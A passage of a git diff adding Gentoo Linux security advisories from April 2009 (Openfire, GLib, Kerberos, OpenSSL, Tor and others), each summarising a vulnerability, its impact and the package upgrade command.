+    All gedit 2.24.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-editors/gedit-2.24.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5983">CVE-2008-5983</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0314">CVE-2009-0314</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 23 Mar 2009 09:17:57 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 30 Mar 2009 11:46:10 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 30 Mar 2009 11:46:20 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-01.xml b/xml/htdocs/security/en/glsa/glsa-200904-01.xml
new file mode 100644
index 00000000..aea890dc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-01.xml
@@ -0,0 +1,98 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-01">
+  <title>Openfire: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities were discovered in Openfire, the worst of which
+    may allow remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">openfire</product>
+  <announced>April 02, 2009</announced>
+  <revised>April 02, 2009: 01</revised>
+  <bug>246008</bug>
+  <bug>254309</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/openfire" auto="yes" arch="*">
+      <unaffected range="ge">3.6.3</unaffected>
+      <vulnerable range="lt">3.6.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ignite Realtime Openfire is a fast real-time collaboration server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Two vulnerabilities have been reported by Federico Muttis, from CORE
+    IMPACT's Exploit Writing Team:
+    </p>
+    <ul>
+    <li>
+    Multiple missing or incomplete input validations in several .jsps
+    (CVE-2009-0496).
+    </li>
+    <li>
+    Incorrect input validation of the "log" parameter in log.jsp
+    (CVE-2009-0497).
+    </li>
+    </ul> <p>
+    Multiple vulnerabilities have been reported by Andreas Kurtz:
+    </p>
+    <ul>
+    <li>
+    Erroneous built-in exceptions to input validation in login.jsp
+    (CVE-2008-6508).
+    </li>
+    <li>
+    Unsanitized user input to the "type" parameter in
+    sipark-log-summary.jsp used in SQL statement. (CVE-2008-6509)
+    </li>
+    <li>
+    A Cross-Site-Scripting vulnerability due to unsanitized input to the
+    "url" parameter. (CVE-2008-6510, CVE-2008-6511)
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could execute arbitrary code on clients' systems by
+    uploading a specially crafted plugin, bypassing authentication.
+    Additionally, an attacker could read arbitrary files on the server or
+    execute arbitrary SQL statements. Depending on the server's
+    configuration the attacker might also execute code on the server via an
+    SQL injection.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Openfire users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/openfire-3.6.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6508">CVE-2008-6508</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6509">CVE-2008-6509</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6510">CVE-2008-6510</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6511">CVE-2008-6511</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0496">CVE-2009-0496</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0497">CVE-2009-0497</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 21 Mar 2009 10:46:26 +0000">
+    mabi
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 21 Mar 2009 11:36:24 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-02.xml b/xml/htdocs/security/en/glsa/glsa-200904-02.xml
new file mode 100644
index 00000000..f4528125
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-02.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-02">
+  <title>GLib: Execution of arbitrary code</title>
+  <synopsis>
+    Multiple integer overflows might allow for the execution of arbitrary code
+    when performing base64 conversion.
+  </synopsis>
+  <product type="ebuild">glib</product>
+  <announced>April 03, 2009</announced>
+  <revised>April 05, 2009: 02</revised>
+  <bug>249214</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/glib" auto="yes" arch="*">
+      <unaffected range="ge">2.18.4-r1</unaffected>
+      <unaffected range="rge">2.16.6-r1</unaffected>
+      <unaffected range="lt">2</unaffected>
+      <vulnerable range="lt">2.18.4-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The GLib is a library of C routines that is used by a multitude of
+    programs.
+    </p>
+  </background>
+  <description>
+    <p>
+    Diego E. Petteno` reported multiple integer overflows in glib/gbase64.c
+    when converting a long string from or to a base64 representation.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user or automated system to perform a
+    base64 conversion via an application using GLib, possibly resulting in
+    the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GLib 2.18 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/glib-2.18.4-r1&quot;</code>
+    <p>
+    All GLib 2.16 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/glib-2.16.6-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4316">CVE-2008-4316</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 02 Apr 2009 12:01:03 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 02 Apr 2009 12:09:57 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 02 Apr 2009 12:10:20 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-03.xml b/xml/htdocs/security/en/glsa/glsa-200904-03.xml
new file mode 100644
index 00000000..ab8c2de0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-03.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-03">
+  <title>Gnumeric: Untrusted search path</title>
+  <synopsis>
+    An untrusted search path vulnerability in Gnumeric might result in the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">gnumeric</product>
+  <announced>April 03, 2009</announced>
+  <revised>April 03, 2009: 01</revised>
+  <bug>257012</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-office/gnumeric" auto="yes" arch="*">
+      <unaffected range="ge">1.8.4-r1</unaffected>
+      <vulnerable range="lt">1.8.4-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Gnumeric spreadsheet is a versatile application developed as part
+    of the GNOME Office project.
+    </p>
+  </background>
+  <description>
+    <p>
+    James Vega reported an untrusted search path vulnerability in the
+    GObject Python interpreter wrapper in Gnumeric.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could entice a user to run Gnumeric from a directory
+    containing a specially crafted python module, resulting in the
+    execution of arbitrary code with the privileges of the user running
+    Gnumeric.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not run "gnumeric" from untrusted working directories.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gnumeric users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/gnumeric-1.8.4-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0318">CVE-2009-0318</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 02 Apr 2009 12:39:58 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 02 Apr 2009 12:40:05 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-04.xml b/xml/htdocs/security/en/glsa/glsa-200904-04.xml
new file mode 100644
index 00000000..71eeea22
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-04.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-04">
+  <title>WeeChat: Denial of Service</title>
+  <synopsis>
+    A processing error in WeeChat might lead to a Denial of Service.
+  </synopsis>
+  <product type="ebuild">weechat</product>
+  <announced>April 04, 2009</announced>
+  <revised>April 04, 2009: 01</revised>
+  <bug>262997</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-irc/weechat" auto="yes" arch="*">
+      <unaffected range="ge">0.2.6.1</unaffected>
+      <vulnerable range="lt">0.2.6.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Wee Enhanced Environment for Chat (WeeChat) is a light and extensible
+    console IRC client.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sebastien Helleu reported an array out-of-bounds error in the colored
+    message handling.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send a specially crafted PRIVMSG command,
+    possibly leading to a Denial of Service (application crash).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All WeeChat users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-irc/weechat-0.2.6.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0661">CVE-2009-0661</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 04 Apr 2009 15:10:01 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 04 Apr 2009 15:21:46 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 04 Apr 2009 17:18:54 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-05.xml b/xml/htdocs/security/en/glsa/glsa-200904-05.xml
new file mode 100644
index 00000000..cfe50f7a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-05.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-05">
+  <title>ntp: Certificate validation error</title>
+  <synopsis>
+    An error in the OpenSSL certificate chain validation in ntp might allow for
+    spoofing attacks.
+  </synopsis>
+  <product type="ebuild">ntp</product>
+  <announced>April 05, 2009</announced>
+  <revised>April 05, 2009: 01</revised>
+  <bug>254098</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/ntp" auto="yes" arch="*">
+      <unaffected range="ge">4.2.4_p6</unaffected>
+      <vulnerable range="lt">4.2.4_p6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ntp contains the client and daemon implementations for the Network Time
+    Protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    It has been reported that ntp incorrectly checks the return value of
+    the EVP_VerifyFinal(), a vulnerability related to CVE-2008-5077 (GLSA
+    200902-02).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit this vulnerability to spoof arbitrary
+    names to conduct Man-In-The-Middle attacks and intercept sensitive
+    information.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ntp users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/ntp-4.2.4_p6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5077">CVE-2008-5077</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0021">CVE-2009-0021</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200902-02.xml">GLSA 200902-02</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 31 Mar 2009 11:41:38 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 31 Mar 2009 11:41:46 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-06.xml b/xml/htdocs/security/en/glsa/glsa-200904-06.xml
new file mode 100644
index 00000000..0b9a568a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-06.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-06">
+  <title>Eye of GNOME: Untrusted search path</title>
+  <synopsis>
+    An untrusted search path vulnerability in the Eye of GNOME might result in
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">eog</product>
+  <announced>April 06, 2009</announced>
+  <revised>April 06, 2009: 01</revised>
+  <bug>257002</bug>
+  <access>local</access>
+  <affected>
+    <package name="media-gfx/eog" auto="yes" arch="*">
+      <unaffected range="ge">2.22.3-r3</unaffected>
+      <vulnerable range="lt">2.22.3-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Eye of GNOME is the official image viewer for the GNOME Desktop
+    environment.
+    </p>
+  </background>
+  <description>
+    <p>
+    James Vega reported an untrusted search path vulnerability in the
+    GObject Python interpreter wrapper in the Eye of GNOME, a vulnerabiliy
+    related to CVE-2008-5983.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could entice a user to run the Eye of GNOME from a
+    directory containing a specially crafted python module, resulting in
+    the execution of arbitrary code with the privileges of the user running
+    the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not run "eog" from untrusted working directories.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Eye of GNOME users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/eog-2.22.3-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5983">CVE-2008-5983</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5987">CVE-2008-5987</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 06 Apr 2009 11:38:51 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 06 Apr 2009 11:40:09 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-07.xml b/xml/htdocs/security/en/glsa/glsa-200904-07.xml
new file mode 100644
index 00000000..9150bf93
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-07.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-07">
+  <title>Xpdf: Untrusted search path</title>
+  <synopsis>
+    A vulnerability in Xpdf might allow local attackers to execute arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">xpdf</product>
+  <announced>April 07, 2009</announced>
+  <revised>April 07, 2009: 01</revised>
+  <bug>242930</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-text/xpdf" auto="yes" arch="*">
+      <unaffected range="ge">3.02-r2</unaffected>
+      <vulnerable range="lt">3.02-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Xpdf is a PDF file viewer that runs under the X Window System.
+    </p>
+  </background>
+  <description>
+    <p>
+    Erik Wallin reported that Gentoo's Xpdf attempts to read the "xpdfrc"
+    file from the current working directory if it cannot find a ".xpdfrc"
+    file in the user's home directory. This is caused by a missing
+    definition of the SYSTEM_XPDFRC macro when compiling a repackaged
+    version of Xpdf.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could entice a user to run "xpdf" from a directory
+    containing a specially crafted "xpdfrc" file, resulting in the
+    execution of arbitrary code when attempting to, e.g., print a file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not run Xpdf from untrusted working directories.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Xpdf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/xpdf-3.02-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1144">CVE-2009-1144</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 04 Apr 2009 12:41:57 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 04 Apr 2009 12:52:05 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 04 Apr 2009 12:52:11 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-08.xml b/xml/htdocs/security/en/glsa/glsa-200904-08.xml
new file mode 100644
index 00000000..5ee7a6de
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-08.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-08">
+  <title>OpenSSL: Denial of Service</title>
+  <synopsis>
+    An error in OpenSSL might allow for a Denial of Service when printing
+    certificate details.
+  </synopsis>
+  <product type="ebuild">openssl</product>
+  <announced>April 07, 2009</announced>
+  <revised>April 07, 2009: 01</revised>
+  <bug>263751</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/openssl" auto="yes" arch="*">
+      <unaffected range="ge">0.9.8k</unaffected>
+      <vulnerable range="lt">0.9.8k</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenSSL is an Open Source toolkit implementing the Secure Sockets Layer
+    (SSL v2/v3) and Transport Layer Security (TLS v1) as well as a general
+    purpose cryptography library.
+    </p>
+  </background>
+  <description>
+    <p>
+    The ASN1_STRING_print_ex() function does not properly check the
+    provided length of a BMPString or UniversalString, leading to an
+    invalid memory access.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user or automated system to print a
+    specially crafted certificate, possibly leading to a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenSSL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/openssl-0.9.8k&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0590">CVE-2009-0590</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 04 Apr 2009 13:16:21 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 04 Apr 2009 13:41:11 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 04 Apr 2009 13:41:45 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-09.xml b/xml/htdocs/security/en/glsa/glsa-200904-09.xml
new file mode 100644
index 00000000..51e82265
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-09.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-09">
+  <title>MIT Kerberos 5: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilites in MIT Kerberos 5 might allow remote
+    unauthenticated users to execute arbitrary code with root privileges.
+  </synopsis>
+  <product type="ebuild">mit-krb5</product>
+  <announced>April 08, 2009</announced>
+  <revised>April 08, 2009: 01</revised>
+  <bug>262736</bug>
+  <bug>263398</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/mit-krb5" auto="yes" arch="*">
+      <unaffected range="ge">1.6.3-r6</unaffected>
+      <vulnerable range="lt">1.6.3-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MIT Kerberos 5 is a suite of applications that implement the Kerberos
+    network protocol. kadmind is the MIT Kerberos 5 administration daemon,
+    KDC is the Key Distribution Center.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in MIT Kerberos 5:
+    </p>
+    <ul>
+    <li>A free() call on an uninitialized pointer in the ASN.1 decoder
+    when decoding an invalid encoding (CVE-2009-0846).</li>
+    <li>A buffer
+    overread in the SPNEGO GSS-API application, reported by Apple Product
+    Security (CVE-2009-0844).</li>
+    <li>A NULL pointer dereference in the
+    SPNEGO GSS-API application, reported by Richard Evans
+    (CVE-2009-0845).</li>
+    <li>An incorrect length check inside an ASN.1
+    decoder leading to spurious malloc() failures (CVE-2009-0847).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    A remote unauthenticated attacker could exploit the first vulnerability
+    to cause a Denial of Service or, in unlikely circumstances, execute
+    arbitrary code on the host running krb5kdc or kadmind with root
+    privileges and compromise the Kerberos key database. Exploitation of
+    the other vulnerabilities might lead to a Denial of Service in kadmind,
+    krb5kdc, or other daemons performing authorization against Kerberos
+    that utilize GSS-API or an information disclosure.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MIT Kerberos 5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-crypt/mit-krb5-1.6.3-r6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0844">CVE-2009-0844</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0845">CVE-2009-0845</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0846">CVE-2009-0846</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0847">CVE-2009-0847</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 08 Apr 2009 01:07:26 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 08 Apr 2009 18:19:31 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-10.xml b/xml/htdocs/security/en/glsa/glsa-200904-10.xml
new file mode 100644
index 00000000..8cc5e073
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-10.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-10">
+  <title>Avahi: Denial of Service</title>
+  <synopsis>
+    An error in Avahi might lead to a Denial of Service via network and CPU
+    consumption.
+  </synopsis>
+  <product type="ebuild">avahi</product>
+  <announced>April 08, 2009</announced>
+  <revised>April 08, 2009: 01</revised>
+  <bug>260971</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/avahi" auto="yes" arch="*">
+      <unaffected range="ge">0.6.24-r2</unaffected>
+      <vulnerable range="lt">0.6.24-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Avahi is a system that facilitates service discovery on a local
+    network.
+    </p>
+  </background>
+  <description>
+    <p>
+    Rob Leslie reported that the
+    originates_from_local_legacy_unicast_socket() function in
+    avahi-core/server.c does not account for the network byte order of a
+    port number when processing incoming multicast packets, leading to a
+    multicast packet storm.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted legacy unicast mDNS
+    query packets to the Avahi daemon, resulting in a Denial of Service due
+    to network bandwidth and CPU consumption.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Avahi users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/avahi-0.6.24-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0758">CVE-2009-0758</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 04 Apr 2009 13:49:21 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 04 Apr 2009 13:56:36 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 04 Apr 2009 13:57:02 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-11.xml b/xml/htdocs/security/en/glsa/glsa-200904-11.xml
new file mode 100644
index 00000000..9a28ec0c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-11.xml
@@ -0,0 +1,97 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-11">
+  <title>Tor: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Tor might allow for heap corruption, Denial of
+    Service, escalation of privileges and information disclosure.
+  </synopsis>
+  <product type="ebuild">tor</product>
+  <announced>April 08, 2009</announced>
+  <revised>April 08, 2009: 01</revised>
+  <bug>250018</bug>
+  <bug>256078</bug>
+  <bug>258833</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/tor" auto="yes" arch="*">
+      <unaffected range="ge">0.2.0.34</unaffected>
+      <vulnerable range="lt">0.2.0.34</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Tor is an implementation of second generation Onion Routing, a
+    connection-oriented anonymizing communication service.
+    </p>
+  </background>
+  <description>
+    <ul>
+    <li>
+    Theo de Raadt reported that the application does not properly drop
+    privileges to the primary groups of the user specified via the "User"
+    configuration option (CVE-2008-5397).
+    </li>
+    <li>
+    rovv reported that the "ClientDNSRejectInternalAddresses" configuration
+    option is not always enforced (CVE-2008-5398).
+    </li>
+    <li>
+    Ilja van Sprundel reported a heap-corruption vulnerability that might
+    be remotely triggerable on some platforms (CVE-2009-0414).
+    </li>
+    <li>
+    It has been reported that incomplete IPv4 addresses are treated as
+    valid, violating the specification (CVE-2009-0939).
+    </li>
+    <li>
+    Three unspecified vulnerabilities have also been reported
+    (CVE-2009-0936, CVE-2009-0937, CVE-2009-0938).
+    </li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could escalate privileges by leveraging unintended
+    supplementary group memberships of the Tor process. A remote attacker
